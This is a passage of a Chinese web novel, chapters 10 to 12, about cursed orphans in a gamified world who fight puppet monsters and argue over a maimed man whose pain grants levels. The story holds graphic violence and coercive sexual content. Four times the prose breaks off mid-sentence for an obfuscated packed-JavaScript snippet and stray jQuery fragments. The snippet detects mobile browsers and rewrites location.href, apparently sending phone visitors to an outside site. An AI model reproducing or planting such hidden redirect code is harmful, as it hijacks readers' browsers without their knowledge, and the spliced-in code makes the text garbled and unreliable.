乌修平落下的匕首尽数没入球体中,大量灰白色的浆体喷洒在他身上。他双脚蹬在傀儡眼睑上,试图将匕首抽出来。血腥傀儡的双翅直直打击他的后背,羽毛卷起脚,将乌修平抛上高空,血刺乍出。
“你们。”傀儡顶着匕首,血口大开,“真的惹怒我了。”
被10级和15级搞成这个样子,他的主人一定会销毁他!
“我要把你们做成傀儡!”没错,这两个身负诅咒的丑家
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13223162|139400||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
伙看上去就是很不错的傀儡,比自己使用的原材料更好。等主人问出“痛苦之匣”的下落,这两个人不过是和自己一样的血肉傀儡!
遥远地,半空中,不断下落的乌修平张开双臂。他手背上另外一道纹路游走着光芒。地面中,浑身通红的沈曙雀抬起手臂,手背上一道相同的纹路散发出同样的光芒。
“诅咒。”
风吹过乌修平的肌肤,每一道伤口在风中散发出热气,烟雾将他包裹成一颗坠落的流星,直直冲向飞天的血刺。疼痛贯穿乌修平的肢体,他能清楚感受到肌肤从表皮层撕裂到真皮层,尚未愈合处脓水四溢,接着是脂肪层,不断地深入,大量的血随着降落,飙升出一颗一颗血珠。
他们无法控制自己的诅咒,唯有一种情况例外:
「有人试图治疗/清除他们的诅咒时。」
傀儡裂开巨口,嘲笑地挥舞血刺。从距离乌修平最尖端开始,刀痕与烫伤纵横交错,仿若扭曲镜放大猎物身上的一切。它们急速蔓延,从血刺开始进入傀儡体内。
“诅咒。”沈曙雀含糊不清地说出启动语,“清除。”
随着她嘴角带出的血沫,傀儡身上的裂缝不断涌出鲜血,仿佛瘪下去的气球,大量气体一注一注喷洒在地面上,茂密的枯草一茬一茬被压垮。
“什么?”傀儡低头看着自己的身体。他的脸干瘪下去,坚硬的血刺与他的身体一并融化。当他垂死挣扎,走向沈曙雀,试图给对方最后一击时,乌修平坠落在地上。
15级的刺客本不该承受住这等冲击。
乌修平往日也没尝试过五十米以上的高空跳跃。但今天,他却觉得一切是那么轻巧,膝盖灵敏异常,他踩着血腥傀儡的头颅,轻巧落地,根本没受到任何冲击,在脚尖踩中实物的瞬间,一股力量从他体内爆发。
他弯腰,手精准勾住对方眼球上的匕首,握紧。
一路向前!
傀儡三米高的身体,不足几秒便可以跨越。但当面前拦着血肉与骨头时,阻力会让这三米成为不可逾越的鸿沟。乌修平却感觉到一阵轻松,他脑子在禅心效果下注意到这一点,极快地直直往下,借助这一时的爽快,一刀到底。
刀与骨头呲呲摩擦的声音,皮肉神经切断的一瞬间,血极快飞溅出来。而那些飞溅出来的血正在沈曙雀的诅咒下,染上疾病与瘟疫之神的诅咒,消融傀儡的身体。
乌修平狂喊着,冲出这短短三米,一个跟头摔在地上。
他的手背上,“逆向清除诅咒”咒文持续散发热量,直至留到一道浅浅的灰色印记,被风吹到凉。乌修平终于从生死关头中换过神来,他拔出匕首,假装看不见上面细微的豁口,四肢并行着爬向沈曙雀所在的位置。
“阿雀。”
乌修平口齿不清,中途摔了一跤。太阳渐渐下行,霞光是红的,沈曙雀也是红的。这个精疲力尽的女孩手背上也有与乌修平一样的灰色印记,“诅咒清除”残余的灰烬,散落在她的指甲附近。
乌修平努力摇晃沈曙雀,喊她,“阿雀。阿雀。不要睡。我们赢了。”
沈曙雀依旧眯着眼,好像睡过去一般。
“阿雀。”乌修平又连续喊了好几声。他匍匐在沈曙雀胸口,翻出包裹里所有药水一瓶一瓶灌给沈曙雀。沈曙雀的嘴唇一片乌紫,她剧烈咳嗽,黑红色的血块一阵一阵吐出来。乌修平那些药断断续续灌进去,又涓涓从嘴角流淌出来。
“阿雀。阿雀。”乌修平继续喊着。他抹去沈曙雀脸上的血,丝毫不顾及那些血的可怕性。他环抱着自己最好的朋友,确认对方还有心跳与呼吸后,一撅一拐地走入黑暗。
他要去找穴鼠。
无所不能的穴鼠,89级黑市最强者的穴鼠,一定有很好的治疗药物。
他一定能帮他救活沈曙雀。
11. 第十章
第十章
穴鼠从不离开自己的巢穴。
他强大,但懒惰。认识乌修平后还变得纵欲和善妒。
面对乌修平低声下气的请求,他果断拒绝,“不要。下次再沾上那女的,你给我脱光再进来。”
乌修平进入黑市前藏好沈曙雀,他不敢把沈曙雀放在仁爱院,因为沈曙雀的血能让职业者等级清零,让10级以下的人患上诅咒,等死度日。同样,他也不敢把沈曙雀带入黑市,因为黑市上的人为了钱什么都做得出来。
乌修平敢自由出入,是因为他头上有人。
那个人就是89级的穴鼠。
黑市的无冕之王。
“我讨厌你那个鸟朋友。”穴鼠大大咧咧表达自己的恶意,“况且,你还为了她丢下我。我更讨厌她。”
“曙雀是我的朋友。”
“你把她放在我前面!”穴鼠激烈指责道:“少给我扯什么朋友不朋友。我根本不在乎那个女的,她还被疾病与瘟疫之神诅咒,正常人根本就不会和她做朋友——至于你。要不是我给你接受工作,你和她是一个下场:找不到一点好处,连社会的边角料都算不上。”
乌修平咬住下嘴唇,该死的尊严在这一刻完全抛弃。他扶着墙,缓缓求着穴鼠,“我知道。可是,先生。我的朋友快死了。”
“哦。”穴鼠撑着下巴,撕开零食,“关我什么事。”
“可是……可是……”
“少把你的责任放在我身上。”穴鼠吧唧吧唧吃着妙脆角,碎屑不断掉在床上,他道:“如果你不救你的平叔。你的朋友就不会重伤垂死。乌鸦,说到底,你搞不清楚一切是谁的错。”
他招招手,让乌修平将脸放在他手心。而他自己则用手指摸索乌修平在战斗残留下的擦伤,“你应该把平叔杀掉,或者,交还给对方。”
乌修平浑身僵硬。
比起前一个提议,后者才真正的超出他的意料。
“如果你愿意交出那个平叔。我可以帮你圆场,当然作为一点赠品,我会帮你治疗你的鸟朋友。”穴鼠用手指一个一个插着妙脆角,声调愉悦,边说话,边咔咔一个一个吃掉手指上的妙脆角,“很划算对吧。这样所有人都会开心。你的朋友、你的孤儿院,还有我……”
乌修平猛然推开穴鼠。
他来的时候被迫清洗一遍,穴鼠不喜欢别人的味道。这个慵懒的强者将巢穴打造得密不透风,里面的空气日经月累全部是他自己的味道,他沉溺在自己的世界,唯一的例外是乌修平。
他允许他的空气里有乌修平的味道。
仅此而已。
“开什么玩笑。你让我把平叔还回去?”乌修平慷慨激昂道:“这种事情怎么做得到,我……”
“那就让沈曙雀死掉吧。”穴鼠冷酷下断定,“看来,你的朋友比不上没谈过的初恋。”
初恋。
是了。
乌修平一直对平叔抱有不雅的心思,可是穴鼠又是怎么知道的?
“我在你的饮料里加过吐真剂。”穴鼠毫无廉耻地说道:“我就想知道你有没有和人出去乱搞。你要是乱搞,我就剁了你的吊,腌起来当标本。”
乌修平一时间不知道说什么好。他觉得穴鼠这么做太过分太过激,又潜意识觉得这确实是穴鼠能做出来的事情。他试着给穴鼠找借口,告诉自己穴鼠将自己视为所有物,这个可憎的强者不允许外人觊觎他巢穴的物件。
乌修平大叫道:“那你剁啊!你有种就把我也一块剁了。”
穴鼠脸色变化。他停下咀嚼,嘴里的炸物渣滓干巴巴排列着。主灯随电线摇摆左右摇晃起来,光线明暗晦涩不同灰度轮番在穴鼠脸上游走。他将零食袋团成一块狠狠摔在乌修平脸上,“你威胁我。”
零食碎渣和油腻包装袋铺天盖地。
“是你先威胁我的。”乌修平用声音壮胆,“除了最开始……我一直听你的话,安分守己,从不怀疑你。穴鼠先生,是你太过分了,你明明知道我在乎仁爱院的大家,你明明知道曙雀是我最好的朋友。”
“够了。”穴鼠粗暴打断乌修平的话,“我是不会给你药水。我就要看着你那个鸟朋友死掉——乌修平。你的平叔会死得很惨,我向你保证,整个世界就是这样。”
他凝视着乌修平的脸,许久,露出八颗白净整洁的牙齿。
“没有我,你乌修平算什么东西。”
这是乌修平在穴鼠巢穴待得最短的一次。
往日,穴鼠总要留他度过好几个时辰,两个人聊着聊着,穴鼠的手胡乱长到乌修平的肩膀、胸膛、腹部、大腿根上。他们的嘴唇擦过彼此的耳廓,带着一点燥热的痒意,开始濡湿,逐渐地咬出一个一个深色的牙印。
乌修平不愿意让仁爱院的大家知道这关系。
正如他为自己是个同性恋感到自卑。除了沈曙雀,他不想叫其他人知道自己的性取向,他害怕仁爱院里的姥姥、修女,和稍微知事的孩子看向自己的目光,害怕他们露出平叔当时的表情。
茫然。无措。恐惧。厌恶。
平叔。平叔。
不。现在不应该继续想平叔。应该想想曙雀。乌修平按压自己的手,他现在真想冲入仁爱院里,找叶生光给自己上一剂“禅心”,叫他乱糟糟的脑子冷静下来。
可不行。
他爬上荒山,扫开充当掩盖的杂草与破草席,将山洞里的沈曙雀背起来,“阿雀,你感觉怎么样。”
昏昏欲睡的沈曙雀脑袋耷拉在乌修平肩膀上,胸口半敞开,涂上酒精,缠上纱布。乌修平去找穴鼠求救的时间里,鲜血已刺过五六层纱布,在最外层氲开。乌修平也找不到什么平稳的运输工具,脱下外套,赤裸上半身背着沈曙雀,一步一步走向目的地。
童姥姥为他们找到一栋漏风烂尾楼,并施展了【一切皆空】,消除他们来的痕迹。
“修平。”童姥姥处理这一切,全程没有接近沈曙雀。她看向沈曙雀的目光怜悯,又有多种复杂情绪,偶然地夹杂着不知味。乌修平至今都不理解童姥姥为什么这么看待曙雀,可他站在普通人的角度,又十分理解童姥姥的举动。
寻常人接触沈曙雀,会死。
整个仁爱院,唯有乌修平可以无视沈曙雀的诅咒,亲密得照顾她。
这大概是诅咒的力量吧。
童姥姥道:“院里还有几瓶疗愈药水。修平。处理好曙雀的血。”
乌修平频频点头。沈曙雀咳嗽好几声,又吐出一些污血。
她痛苦地颦眉,脸颊左右两块肉不规则抽搐起来,牙齿上都是粘稠的血沫。乌修平用纱布一点一点吸掉那些血,隔着一道门,将今日战斗的细节告知童姥姥。
“姥姥。”乌修平认错道:“对方冲我来,是我拖累了阿雀。”
童姥姥:“你做错了什么。”
乌修平没想明白这是指责还是安慰。童姥姥继续说道:“你已经尽力了。修平。安生变成这样,谁也没想到。”
童姥姥也要放弃平叔吗?乌修平牙齿咬紧。他环抱着沈曙雀,挚友微弱的跳动的脉搏提
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13223163|139400||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
醒他:无论是哪一个都是他生命中重要的存在。他不愿意放弃曙雀的生命,也不愿意放弃救了他养过他,给他最初爱恋幻想的平叔。
“平叔,他。”乌修平难以启齿,他声音不自觉哽噎,“他怎么样。”
难道真的要和穴鼠说得那般?交出已经变成人彘的平叔换取整个仁爱院的平安吗?可穴鼠作为高高在上的89级,对待沈曙雀尚且如此,真的会善待仁爱院那些连自主生活能力都没有的孩子吗?
月光泼在烂尾楼里,从这个角度,乌修平能清楚看到远方灯火通明的城市,巨型显示屏与梦幻投影发出滔天音乐与宣传口号。而在他们组成的宏伟人造极光下,是匍匐成一片的棚户区,少数的黄白灯光一颗一颗点亮,熄灭,组成繁华城市的陪衬。
仁爱院就在俯倒的阴影中。月光照亮它最顶层的避雷针,乌修平能辨认出二楼的神像,以及从窗口渺渺的昏黄灯光。
“平安生是个好孩子。”童姥姥道:“他与他的朋友来之前,仁爱院已经断电断水半年。”
她用最平静的口吻诉说最难熬的日子,“那年夏天,我、明、珍妮共同维持着仁爱院。直到我们遇到一位孕妇。”
“她看上去很糟糕,肚子巨大,身子矮小,非常抗拒前往医院救治,苦苦哀求我们收留她。我们三人……便决定将她带回仁爱院。”
“当天晚上,她难产大出血,死了。”
为孕妇接生的珍妮道姑怀抱着沾满血和秽物的女婴,眼睁睁看着自己的等级从45掉落到40,接着是39、38级……
半年后,珍妮道姑彻底跌落成普通人,呕血而死。临死前,她手里还拿着一瓶刚泡好的奶粉。半岁大的沈曙雀,坐在摇篮里爆发出有生以来最嘹亮的哭声——不知道是饥饿,还是因为她生平第二次接触死亡。
“旧时代将这类医疗事故,统称为‘职业暴露’。”童姥姥道:“现在的时代,反而笼统得总结为‘疾病与瘟疫之神的诅咒’。”
诅咒让童姥姥失去了最好的朋友。
当年的童尼姑、明修女、珍妮道姑三人虽有不同的信仰,却达成一个共同的美好愿景。她们盘下破产清算的仁爱院,从公立改为私立,照顾里面被社会淘汰的孩子与残疾患者,她们三个人一个专司防御,一个专司疗愈,一个专司攻击,形成完美的三角组合。
直到那位孕妇出现,坚硬的三角永远失去了一角。
“我不喜欢曙雀。”童姥姥表露心声,“我永远无法喜欢曙雀这孩子。她是我最好最强大的朋友换来的一个……永远的10级。”
乌修平感到怀中人轻微地动静。
他抬起手,盖住沈曙雀的脸与耳朵。
他看不清沈曙雀的表情。
“珍妮等级下降时,我们大吵一架。为了寻找破解诅咒的方法,我尝试把曙雀丢掉,我想可能这是个范围类诅咒呢?我和明都拼命升级、找各种偏方,我们甚至想过抛弃道德,使用违禁手法——但最终,我们什么都没做到——曙雀活下来了,珍妮死了。”
“珍妮说,曙雀有什么错呢?”
可是她最好的朋友又有什么错呢?
“强者付出生命,最终只救回一个弱者。听上去就是一个很可笑的故事。但是,我、明、珍妮曾一直相信,人的生命不是由等级、力量、财富、权利决定的。”
童姥姥隔着门,乌修平同样看不清她的表情。
“曙雀活下来了。曙雀活下来了。”童姥姥道:“修平。”
为什么平安生不可以呢?
12. 第十一章
第十一章
童姥姥说完便离开了。
沈曙雀听片刻,抬起头,低声道:“她故意说给我听。”随后,她撇下眉对乌修平埋怨,“你到底是怎么想的。别给我装傻,你到底要把平叔怎么样?”
她虚弱躺在乌修平怀里,任由对方往自己伤口上擦药,“啊呜。平叔不喜欢你。”
“这件事情无关平叔喜不喜欢我。”乌修平干巴巴说道:“阿雀,我不甘心。”
“你不甘心也得甘心。”沈曙雀抬起手,轻轻拍在乌修平脸上。她像在扇挚友几个巴掌,又像是抚摸挚友脸上纵横丑陋的伤疤。乌修平感到沈曙雀的手掌落在脸上,手指蜷缩着滑落下来。
他赶快握住沈曙雀的手,“阿雀。”
“今天的傀儡真强啊。”沈曙雀道:“好讨厌那些有钱人。傀儡一个接着一个买……我快死了。也不能让他们疼。”她说得太多,牵扯到胸前的伤口,乌修平赶快给她灌药水,用身体挡住漏进来的冷风。
“阿雀。”乌修平道:“不要说了。”
沈曙雀偏偏要说。她将脸埋在乌修平胸口,眼泪黏乎乎地掉下来,“以后,以后还会有第二个傀儡,第三个傀儡。啊呜。啊呜。我们要是能升级,能升级就好了。我要把那些王八蛋都杀了,把欺负我们,欺负平叔的人都杀了。”
乌修平的脸颊贴在沈曙雀头顶。他清楚察觉到挚友身上传来的热气,以及胸口不断往下流淌的水迹。他不忍心去分辨那是沈曙雀的眼泪,还是沈曙雀身上崩开的血。
他无力地想着,如果自己能升级就好了。
今天站在那巨大的傀儡面前,他连一个鉴定术都丢不出去。原因也分外可笑:乌修平刚升级到11级时,毫不犹豫给两个技能栏填上刺客必备的技巧【闪刺】【潜行】。年少时的他满心以为自己会一往无前,和小说主角般打怪升级,迅速进入20级、30级、40级直至成为世界一流。
19岁的乌修平还会对世界抱有幻想。
21岁的乌修平已经认清楚自己不是世界的主角。
他只能反复地单调地安慰怀里的挚友,“阿雀不哭。不要哭。”
他想要沈曙雀不再哭泣,想找出让平叔变成痛苦之匣的元凶,想让穴鼠别贬低自己与自己的朋友。
他想要突破15级,想要沈曙雀也升级。
可他又不知道要怎么做,要去做什么才好。
*
荒山。
月光下依稀可见大片的斑点与溅射形污垢,类人残块上飞旋着蚊虫。一些鼠类用鼻子嗅嗅,急速跑开。在它们上方一道模糊的黑影大步靠近残块,俯下身,手指轻轻点在血迹上。
“嗤——”
强烈的雾气象征这些血具备腐蚀性或诅咒性。它们先在指尖炸开,爆发出种凄厉的惨叫,随后被所有者用力一抓“砰”的散开。
“原来是‘艾滋病’。”黑影不屑一顾,“暴露半小时后,就剩下这点威力。”
这样的血打败了他的傀儡?不。自从进入游戏化世界后,各类传染病被“疾病与瘟疫之神”掌控,大量患者无缘于强者之路,只能成为各种疾病宗教的祭品——艾滋病作为一个典型的疾病,还没有听说过谁突破10级这个门槛。
给他的傀儡造成物理打击的人,却是个有职业加持的家伙。
“乌修平。”黑影自顾自地报出相关的资料,“应聘职业为刺客。”
他的口吻变得古怪,“点满力量的……刺客吗?”
不然,怎么解释面前的切口:边缘平整,从内到外力度均匀,傀儡内部可见光滑的切面,充作支撑的骨骼切口毫无毛刺。
当然,造成傀儡身死的关键不是这切口。
“奇怪的组合。”黑影挥挥手,月影下黑影从树下、草中钻出来形成一个巨大的漩涡。血肉傀儡的残块陷入沼泽般,被漩涡吞并,包裹鲜血的草地重新被沙土覆盖,残留下的人形痕迹密密麻麻涌动上别处的草叶石头。
荒山,重新恢复平静。
强烈的冷风吹动黑影的边缘,远远地,他的目光看向城市的边缘。在那灰暗的交集线上,大片大片发灰发黑的钢筋大楼裸立,掉色的大幅宣传广告仿佛旗帜吹鼓起起来。
哗啦——哗啦——
乌修平在黑暗中醒来,用于挡风的宣传广告布正吹得卷起来,巨大的声响让沈曙雀皱起眉头。乌修平将衣服叠成枕头,塞到沈曙雀耳下,再起来去拽广告布。他用臂膀缠住缰绳,使劲往回拽,广告布上剪开的几个洞嗖嗖漏着风,“嗤嗤”的狂叫着。
“啊呜?”沈曙雀被吵醒,也可能是被冻醒,抓住童姥姥带来的唯一一条毛毯询问道:“怎么。”
乌修平好不容易牵着绳索来到水泥柱上,道:“风太大了。”
烂尾楼没有安装玻璃,只有一个水泥架子。墙边残留流浪汉和工人们的砖头、矿泉水瓶等东西。童姥姥嘴巴上说不喜欢沈曙雀,却还给他们留下一盏取暖用照明两用灯、小袋医疗用品、一床薄褥子、几瓶珍贵药水。
“阿雀。”乌修平道:“我抱你去里面的房间。”
沈曙雀咳嗽好几声,任由乌修平提着灯,将她整个卷起来。
“你真的是。”沈曙雀虚弱地评价道:“恢复速度一年比一年快。”
乌修平想想也确实是这回事。他从小因诅咒的原因,伤口无法接受治疗,只能等待自愈。
大概是适应久了,每年自愈速度都会比上一年快几分。日积月累,居然成为他所受诅咒的一种特点。
“说什么胡话。”乌修平将沈曙雀安顿好,打趣道:“我这算什么恢复速度。非要说,我还觉得今天力气特别大,跑起来也飞快。”
沈曙雀脑子昏沉沉,看着挚友灯光下的脸,神情放松起来,也跟着胡说八道:“肾上腺素原因吧。”
“不能是我前几个月工地打工锻炼出来的吗?”
“哈哈。”沈曙雀嘲笑道:“那我还说我躲藏很快,要学会刺客的潜行技能了。”
他们都不把这种玩笑放在心上。
因为他们都清楚,在这个游戏化的时代,什么力量、速度都体现在游戏面板上。当等级到达一定程度,普通的锻炼对力量、速度、智力的增长微乎其微,必须要去副本历练、装备道具与武器、购买大量药水,做
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13223164|139400||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
一切与超凡力量相关的事情,才有提高的可能性。
那是有钱有天赋的高等级接触的世界。
乌修平和沈曙雀都不是那个世界的人。
他们对升级的渴望与幻想停留在10级前,一些非常天真的话毫无顾忌说出来。他们没有见识,也没朝着别的地方去想。
“只有肌肉也能长力量。”乌修平露出自己的手臂,“我可是工地上搬砖最快的人。”他鼓起肌肉,刚要逗朋友开心,瞥见手臂内侧一块没消下去的牙印,心虚垂下手,不言语。
沈曙雀揶揄道:“怎么了?快给我摸摸,冷死我了。”
乌修平才不愿意让朋友看到手臂上的牙印。那冒出两点虎牙尖尖的深色印记让他回忆起某天欢爱后,穴鼠枕在他臂窝里,要他摸摸那虎牙,将手指头伸进去的样子。
——“我想要你这么做。”穴鼠趾高气昂地命令道:“你不来,我自己来。”接着,他撑着乌修平的胸口,含住乌修平的手指。双眼狡黠又恶意地眯起来,狠狠咬下去,舌头反复掀开乌修平的伤口,吮吸里面的鲜血与汗水。
——他在乌修平身上留下很多印记。每一次,他都能找到自己没盖章过的肌肤,叼着肉,咬得皮开肉绽。饶是乌修平对疼痛趋于麻木,也能在欢愉中察觉到隐秘的屈辱。
他耻于将这一切告知朋友。
“我把医药箱拿来。”乌修平道:“阿雀你抱着灯,会暖和些。”
他也不等沈曙雀答复,起身去捡医药箱和其他东西。在这过程中,他不自觉加快步伐,简直走得飞起来。等乌修平重新回到那块广告布前,他听到一阵沉闷的帆布声,稀薄的银光透过锐角形的裁口照进来,四面的沉寂使得他有一种不祥的预感。
乌修平抽出自己的匕首。
黑暗中,他屏住呼吸,在一浪接着一浪的风声中寻找可疑的踪迹。冷意让他才战斗过的身体和意识逐渐迟钝,僵直沿着脊椎蔓延开,皮肤沙沙作响。
是追兵吗?
飞舞的广告布抽打着水泥架,地板微微震动,乌修平能感觉到什么东西正在附近走动。他强压下内心的恐惧,无声地压低身体,勾起医疗箱。
必须保持镇定。
对方从始至终都是冲着我来的——这时候要引开所有敌人,去荒山坡,或者其他地方。千万不要将敌人引到阿雀和仁爱院那。
乌修平强迫自己冷静下来。
他沉重的心跳逐渐缓和,技能在技能栏闪烁着预备光芒。往返时间在他脑海中计算,肌肉像压缩到极致的弹簧,在短促的破空声中,乌修平出刀。他不管来的是什么,一瞬间跳到半空,将对方狠狠扎在地上,接着带着对方翻滚下烂尾楼。
他们跌入广告幕布中,哧啦哧啦的粗布与缰绳撕裂。乌修平在昏暗中头脑发昏,不管刺中幕布还是敌人,他狠狠与其纠缠在一起,摔在地上,脊椎发出声闷响。
高空中,一豆黄光亮起。
“啊呜。啊呜。”沈曙雀低声呼唤着,“发生了什么。”
“一只野怪。”乌修平从幕布中钻出来,提着头脑溃烂的大鸟,脸色凝重,“看样子,它也是傀儡。”
13. 第十二章
第十二章
【裂齿鸟】
【一种生长在丛林类副本中的鸟类怪物,因拥有突出的咬合力闻名。速度其快,可以瞬杀15级及以下职业者。】
叶生光的手释放出光芒,“鉴定术”稳定且缓慢地诵读信息:“你们面对的是一只领主级裂齿鸟,22级。生前力量预估有3500,速度为6000……”
力量3500,按照转职时代前的换算法,约等于350kg。
乌修平蹲在医药箱旁边,大块碘伏压在伤口,破开的皮肤边缘勾住棉絮,他面无表情将其撕下来,清理肉里的鸟喙碎片和缰绳毛刺。
烂尾楼已经不能待下去了。
乌修平带着沈曙雀连夜转移到一处废弃的水塔后方——这也是穷苦人的生存之道。他们精通各种小道与废墟,能够精巧构筑出自己的安全屋。
叶生光找到他们时,已经到了第二天。
“我麻烦一些朋友打探消息。”叶生光和二人交换消息,充当她拐杖的瘸腿男孩此刻从塑料袋里掏出一本发毛笔记递给乌修平,“修平,被你刺伤的少爷家里虽然做地产生意,但他的来头可不小。我之前还不敢确定,鉴定这只怪物后,终于敢下结论。”
“企业公开掌握的1879个中小型副本中,只有97个丛林类副本,产出【裂齿鸟】的副本可以缩小到36个。攻击你们的这只裂齿鸟,死亡程度非常新鲜,虽然被制作成傀儡,但各种加持都不够强力,做法相当潦草。”
乌修平顺着话头也推测出来了。
“成平地产掌握的丛林副本?”
“没错。我还跟孩子去成平地产最近的招聘会兜售矿泉水。他们旗下各个团队都在大肆招募保安。”叶生光思索道:“招募的数量不太正常。而且都是克刺客的职业。”
乌修平正好是刺客。
他一时间陷入种奇怪的恍惚。
一方面,他只是个多年没有升级的15级小废物,不值得大公司专门招募克制自己的人对付;另一方面,乌修平再次认清“痛苦之匣”在这些大公司中的重要性。
“为什么?”他忍不住问出这个问题,“平叔对他们来说,很重要吗?”
叶生光没有马上回答他,转而询问另一件事情。
“修平。你还是15级。”
“嗯。”
“你的数据面板也没有变化。”
“是的。”
“但是你秒杀了22级的【裂齿鸟】。”
乌修平呆滞。很快,他别过头,将一切放在自己突发性的爆发上,“应该是例外。”
“我觉得不是。”叶生光仔细分析道:“你和曙雀身负诅咒,才对平叔的能力没有明显感知……希希,给修平哥哥展示你的面板。”
瘸腿男孩放下拐杖,打开手。
蓝盈盈的光照亮乌修平的脸。
“昨天晚上,希希给平叔擦拭身体。擦完身体后,就变成这样了。”叶生光平静说道:“一夜之间,希希从3级升到了5级。”
没有任何等级限制。
没有对使用者做出任何要求。
只要能够让平安生痛苦,经验就会源源不断地涌出来。
乌修平看着那陌生又扭曲的数字五,透过“5”,他看到那瘸腿男孩眼中一点微弱的光,像是希望,又像是贪婪。
“你们伤害了平叔?”
“没有。”叶生光讲述昨天晚上发生的事情,“离开黑色箱子后,平叔似乎没有办法控制自己排泄。希希帮忙收拾下,出来就升级了。”
不需要付出任何锻炼、汗水、血水、泪水。
不需要深入副本,经历生离死别,轻而易举地升级了。
“这么简单?”
“就是这么简单。”叶生光道:“如果一直没有限制,世界上没有人会不心动吧。”
“那是一个活生生的人!只是为了升级就要把平叔……”
“所以才要装到箱子里啊。”叶生光大声训斥道:“乌修平!坐下!你是仁爱院唯一一个战斗职业,你先听我说完。”
他们的对话吵醒了沉睡中的沈曙雀。女孩乱糟糟地翻身,手捂住双眼,发出一段呻吟,“啊呜。”
乌修平心中的火一下子被熄灭了。
他喜欢平安生的事情只有沈曙雀知道,最多再算上一个穴鼠——在决定平叔最终去向的关头,他不希望仁爱院其他人知道自己的所思所想。
“抱歉。”乌修平用身体挡住墙上射来的光,还给沈曙雀一个漆黑的睡眠环境。而他自己与叶生光面对面坐在晦涩光线中,头顶是穿行而过的环城轻轨,轰鸣与轻微的摇晃,左右着两人的身形。
“我要做什么。”乌修平问。
叶生光回答道:“接触平叔。”
乌修平反驳,“我不会伤害平叔。”
“我们这些人出现在平叔面前,就是对他最大的伤害。”叶生光坚定地说道:“我知道童姥姥支持你保护平叔,明修女也会支持你。但我和曙雀一样,宁愿平叔死掉。”
除非,你利用平叔来升级。
“你是仁爱院唯一一个转职成战斗职业的人。”叶生光道:“乌修平,姥姥一旦遭遇不测,你便是我们最后的战斗力。”
“你输了,我们所有人都会成为下一个平叔。”
被切断四肢,装在漆黑的箱子里。
任由人随意提着,带到各个地方给中权贵升级。
失去行走的权利、说话的权利、只不过是一块会呼吸会感受疼痛的肉质道具。
叶生光说完这些话,让瘸腿男孩希希放下食物,两人牵着手离开。他们带的食物也简单,除去煮熟的芋头和红薯,就是一盒临期罐头肉。沈曙雀盘着腿,靠着墙和乌修平分食罐头肉。
“叶生光就是吓唬你。”沈曙雀嘲笑道,“那些有钱人这么着急找平叔,八成是没掌握制作什么‘痛苦’的办法。”
“怎么说?”
“之前的傀儡更想捉住你。你一出现,我的存活率大大提高……嘶。好疼。如果不是为了问出平叔的下落,他干嘛要这么做?”沈曙雀用最恶劣的心思揣测有钱人,她道:“如果他们掌握了‘痛苦之匣’的做法,大可以毁尸灭迹,再做一个新的。或者将仁爱院一锅端,批量生产道具。”
但他们没有。
这对乌修平和仁爱院来说,是微不足道的喘息空间。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13223165|139400||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>“他们要平叔活着。”
沈曙雀不说话了。她嚼红薯嚼了很久,也嚼得很慢,每一口咀嚼似乎都在酝酿新的想法。
“我宁愿死,也不要变成平叔那样。”
“死了什么都没有了。”
“可这样活着也没什么意义。”沈曙雀道:“有时候我真恨那个女人……为什么要把我生下来,活在这样的世界太痛苦了。不能成为人上人,连向上努力的机会都没有,为什么要把我生下来……根本看不到一点希望,还让道姑……”
乌修平不知道说什么。
或许因为他比沈曙雀幸运一点,转职成刺客,等级也稍微高些。或许他心中总怀抱着点希望,痛苦又绝望又不愿意放弃挣扎。
“阿雀。”乌修平道:“不要这么想,我去求求穴鼠。你晋级转职一定还有其他方法,我去求求他。他会帮我们的。你比我厉害多了。等你晋级成功后,一定比我厉害千倍万倍。”
沈曙雀闭着嘴,整张脸都紧绷着。
乌修平依旧鼓励着沈曙雀,“你晋级后,转职成战斗职业,会比所有人都厉害。以后再也不会有人欺负你,也不会有人瞧不起仁爱院,你会成为整个仁爱院最大的保护……”
“啊呜。”沈曙雀将脸埋在手臂中,低声道:“我们,说说平叔吧。”
这回又轮到乌修平沉默。
